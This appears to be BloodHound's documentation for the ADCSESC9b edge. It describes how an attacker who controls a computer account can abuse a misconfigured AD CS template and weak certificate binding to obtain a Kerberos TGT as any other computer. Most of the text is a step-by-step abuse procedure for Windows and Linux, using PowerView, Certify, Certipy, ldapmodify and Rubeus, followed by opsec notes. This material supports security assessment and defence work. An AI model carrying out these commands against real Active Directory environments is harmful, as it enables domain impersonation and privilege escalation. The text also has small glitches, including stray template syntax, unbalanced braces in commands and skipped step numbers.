ADCSESC9b

This article applies to BHCE and BHE

 

The principal has control over a victim computer with permission to enroll on one or more certificate templates, configured to: 1) enable certificate authentication, 2) require the dNSHostName  of the enrollee included in the Subject Alternative Name (SAN), and 3) not have the security extension enabled. The victim computer also has enrollment permission for an enterprise CA with the necessary templates published. This enterprise CA is trusted for NT authentication in the forest, and chains up to a root CA for the forest. There is an affected Domain Controller (DC) configured to allow weak certificate binding enforcement. This setup lets the principal impersonate any AD forest computer without their credentials.

The attacker principal can abuse their control over the victim computer to modify the victim computer's{' '} dNSHostName attribute to match the dNSHostName of a targeted computer. The attacker principal will then abuse their control over the victim computer to obtain the credentials of the victim computer, or a session as the victim computer, and enroll a certificate as the victim in one of the affected certificate templates. The dNSHostName of the victim will be included in the issued certificate under SAN DNS name. As the certificate template does not have the security extension, the issued certificate will NOT include the SID of the victim computer. DCs with strong certificate binding configuration will require a SID to be present in a certificate used for Kerberos authentication, but the affected DCs with weak certificate binding configuration will not. The affected DCs will split the SAN DNS name into a computer name and a domain name, confirm that the domain name is correct, and use the computer name appended a $ to identify principals with a matching{' '} sAMAccountName. At last, the DC issues a Kerberos TGT as the targeted computer to the attacker, which means the attacker now has a session as the targeted computer.

 

Abuse Info

Windows

Step 1: Set dNSHostName of victim computer to targeted computer's{' '} dNSHostName.

Set the dNSHostName of the victim computer using PowerView:

Set-DomainObject -Identity VICTIM -Set @{'dnshostname'='target.corp.local'

 

Step 2: Check if the 'mail' attribute of victim must be set and set it if required.

If the certificate template is of schema version 2 or above, and its attribute 'msPKI-CertificateNameFlag' contains the flag SUBJECT_REQUIRE_EMAIL and/or SUBJECT_ALT_REQUIRE_EMAIL, then the victim principal must have their mail attribute set for the certificate enrollment. The CertTemplate BloodHound node will have "Subject Require Email" or "Subject Alternative Name Require Email" set to true if any of the flags are present.

If the certificate template is of schema version 1 or does not have any of the email flags, then
continue to Step 3.

If any of the two flags are present, you will need the victim’s mail attribute to be set. The value of
the attribute will be included in the issues certificate but it is not used to identify the target
principal why it can be set to any arbitrary string.

Check if the victim has the mail attribute set using PowerView:

Get-DomainObject -Identity VICTIM -Properties mail

If the victim has the mail attribute set, continue to Step 3.

If the victim does not has the mail attribute set, set it to a dummy mail using PowerView:

Set-DomainObject -Identity VICTIM -Set @{'mail'='dummy@mail.com'}

 

Step 3: Obtain a session as victim.  There are several options for this step.

You can obtain a session as SYSTEM on the host, which allows you to interact with AD as the computer account, by abusing control over the computer AD object (see GenericAll edge documentation).

Step 4: Enroll certificate as victim.

 

Use Certify as the victim computer to request enrollment in the affected template, specifying the affected EnterpriseCA:

Certify.exe request /ca:SERVERCA-NAME /template:TEMPLATE /machine
Save the certificate as cert.pem and the private key as cert.key.

 

Step 5: Convert the emitted certificate to PFX format:

certutil.exe -MergePFX .\\cert.pem .\\cert.pfx

 

Step 6 (optional): Set dNSHostName of victim to the previous value.

To avoid DNS issues in the environment, set the dNSHostName of the victim computer back to its previous value using PowerView:

Set-DomainObject -Identity VICTIM -Set @{'dnshostname'='victim.corp.local

 

Step 7: Perform Kerberos authentication as targeted computer against affected DC using certificate.

Use Rubeus to request a ticket granting ticket (TGT) from an affected DC, specifying the
target identity to impersonate and the PFX-formatted certificate created in Step 5:

 Rubeus.exe asktgt /certificate:cert.pfx /user:TARGET$ /domain:DOMAIN /dc:DOMAIN_CONTROLLER

 

Linux

Step 1: Set dNSHostName of victim computer to targeted computer's dNSHostName.

Set the dNSHostName of the victim computer using Certipy:

certipy account update -username ATTACKER@CORP.LOCAL -password PWD -user VICTIM -dns TARGET.CORP.LOCAL

 

Step 2: Check if the 'mail' attribute of victim must be set and set it if required.

If the certificate template is of schema version 2 or above, and its attribute 'msPKI-CertificateNameFlag' contains the flag SUBJECT_REQUIRE_EMAIL and/or SUBJECT_ALT_REQUIRE_EMAIL, then the victim principal must have their mail attribute set for the certificate enrollment. The CertTemplate BloodHound node will have "Subject Require Email" or "Subject Alternative Name Require Email" set to true if any of the flags are present.

If the certificate template is of schema version 1 or does not have any of the email flags, then
continue to Step 3.

If any of the two flags are present, you will need the victim’s mail attribute to be set. The value of
the attribute will be included in the issues certificate but it is not used to identify the target
principal why it can be set to any arbitrary string.

Check if the victim has the mail attribute set using ldapsearch:

ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "VICTIM-DN" mail

If the victim has the mail attribute set, continue to Step 3.

If the victim does not has the mail attribute set, set it to a dummy mail using ldapmodify:

echo -e "dn: VICTIM-DN\nchangetype: modify\nreplace: mail\nmail: test@mail.com" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME

 

Step 3: Obtain a session as victim.  There are several options for this step.

You can obtain a session as SYSTEM on the host, which allows you to interact with AD as the computer account, by abusing control over the computer AD object (see GenericAll edge documentation).

 

Step 4: Enroll certificate as victim.

Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected EnterpriseCA:

certipy req -u VICTIM@CORP.LOCAL -p PWD -ca CA-NAME -target SERVER -template TEMPLATE

 

Step 5 (optional): Set dNSHostName of victim to the previous value.

To avoid DNS issues in the environment, set the dNSHostName of the victim computer back to its previous value using Certipy:

certipy account update -username ATTACKER@CORP.LOCAL -password PWD -user VICTIM -dns VICTIM.CORP.LOCAL

 

Step 7: Perform Kerberos authentication as targeted computer against affected DC using certificate.

Request a ticket granting ticket (TGT) from an affected DC, specifying the certificate created in Step 4 and the IP of an affected DC:

 certipy auth -pfx TARGET.pfx -dc-ip IP

 

 

Opsec Considerations

When the affected certificate authority issues the certificate to the attacker, it will retain a local copy of that certificate in its issued certificates store. Defenders may analyze those issued certificates to identify illegitimately issued certificates and identify the principal that requested the certificate, as well as the target identity the attacker is attempting to impersonate.

 

References

This edge is related to the following MITRE ATT&CK tactic and techniques:

  • https://attack.mitre.org/techniques/T1649/

Abuse and Opsec references

Updated